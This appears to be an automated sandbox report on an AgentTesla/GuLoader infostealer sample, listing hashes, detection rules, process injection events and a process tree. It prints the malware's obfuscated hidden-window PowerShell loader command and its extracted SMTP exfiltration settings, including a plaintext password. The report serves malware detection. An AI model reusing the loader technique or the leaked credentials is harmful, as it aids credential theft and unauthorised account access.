Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
154s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
16/03/2024, 02:11
Static task
static1
Behavioral task
behavioral1
Sample
Bibeskftigelserne221.exe
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
Bibeskftigelserne221.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
Schizopod/Nonmakeup101.ps1
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
Schizopod/Nonmakeup101.ps1
Resource
win10v2004-20240226-en
General
-
Target
Bibeskftigelserne221.exe
-
Size
1.2MB
-
MD5
792dec181c3f286826d04aecd6cf32f1
-
SHA1
d71c41fd445053571453dd43f8071e058de19ced
-
SHA256
ec9fe9526ec132e17c934f5b3993f164b8cb5ec15813171c04f63ff563ad4f1e
-
SHA512
fddd91dc77476ba57be516a4a4893beadcb84cf7d916bc80fda92640ec8a5a6b3e3a3efba72f5d56b9a0af6bf2a8092d40131825ed2c10b99a1367e47c169748
-
SSDEEP
24576:7BG3e6TOKsix+24/2LoxYHum/1DJQRzEWbo/bwo:dGe6TOiE202sxYOO10UDwo
Malware Config
Extracted
Protocol: smtp- Host:
smtp.gmail.com - Port:
587 - Username:
[email protected] - Password:
hwuo jybd dtga lmyz
Extracted
agenttesla
Protocol: smtp- Host:
smtp.gmail.com - Port:
587 - Username:
[email protected] - Password:
hwuo jybd dtga lmyz - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs
resource yara_rule behavioral2/memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp INDICATOR_EXE_Packed_GEN01 behavioral2/memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp INDICATOR_EXE_Packed_GEN01 -
Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs
resource yara_rule behavioral2/memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers behavioral2/memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp INDICATOR_SUSPICIOUS_Binary_References_Browsers -
Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs
resource yara_rule behavioral2/memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID behavioral2/memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID -
Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs
resource yara_rule behavioral2/memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store behavioral2/memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store -
Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs
resource yara_rule behavioral2/memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients behavioral2/memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients -
Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs
resource yara_rule behavioral2/memory/1828-56-0x0000000000C00000-0x0000000001E54000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients behavioral2/memory/1828-59-0x0000000000C00000-0x0000000000C44000-memory.dmp INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 76 api.ipify.org 77 api.ipify.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 1828 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4532 powershell.exe 1828 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4532 set thread context of 1828 4532 powershell.exe 114 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 4532 powershell.exe 1828 wab.exe 1828 wab.exe 1828 wab.exe 1828 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4532 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4532 powershell.exe Token: SeDebugPrivilege 1828 wab.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1828 wab.exe -
Suspicious use of WriteProcessMemory 11 IoCs
description pid Process procid_target PID 5072 wrote to memory of 4532 5072 Bibeskftigelserne221.exe 101 PID 5072 wrote to memory of 4532 5072 Bibeskftigelserne221.exe 101 PID 5072 wrote to memory of 4532 5072 Bibeskftigelserne221.exe 101 PID 4532 wrote to memory of 3012 4532 powershell.exe 105 PID 4532 wrote to memory of 3012 4532 powershell.exe 105 PID 4532 wrote to memory of 3012 4532 powershell.exe 105 PID 4532 wrote to memory of 1828 4532 powershell.exe 114 PID 4532 wrote to memory of 1828 4532 powershell.exe 114 PID 4532 wrote to memory of 1828 4532 powershell.exe 114 PID 4532 wrote to memory of 1828 4532 powershell.exe 114 PID 4532 wrote to memory of 1828 4532 powershell.exe 114
Processes
-
C:\Users\Admin\AppData\Local\Temp\Bibeskftigelserne221.exe"C:\Users\Admin\AppData\Local\Temp\Bibeskftigelserne221.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:5072 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -windowstyle hidden "$Coveter=Get-Content 'C:\Users\Admin\AppData\Roaming\Bilithon\benthoscope\Schizopod\Nonmakeup101.Pan55';$Paatalemyndighederne=$Coveter.SubString(54624,3);.$Paatalemyndighederne($Coveter)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4532 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "set /A 1^^0"3⤵PID:3012
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1828
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4032 --field-trial-handle=2900,i,14549994492153927475,12895178890800740987,262144 --variations-seed-version /prefetch:81⤵PID:3964
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
325KB
MD517afb85f7d98834a22aa2d79adcc4952
SHA1e4d0af396242985d07bec411d80e6516161a283f
SHA2566d1b4dff638e2368991cce0c1fa8a7023764807dd6d9b053589053f4ac6e8cd8
SHA512ce847608470eb94614c0d6ae272be49f1653bab99127d7ee5ae22fb35c35f9f91be36bf44fe30ddb2bec8841c674da6794b0c3dd067b168a5bdd313308a8d57d
-
Filesize
53KB
MD52e56e126a7f68c9dbb6167bfc1cd26c2
SHA1e45b4e9dff74f0711968994253b8fcaf39a5f8e3
SHA256b3fb58fdae2d31784f1b1c4f62b2c20a985789de7cb63b6e4748168aac4fb70a
SHA51215b0861ae57b05cc8906d8706332797da2152d44f16ba4c89da37fc6ec5753d543e890d898ecda384bcf1cf18894291a94262959dd7f395649e220629a814e3d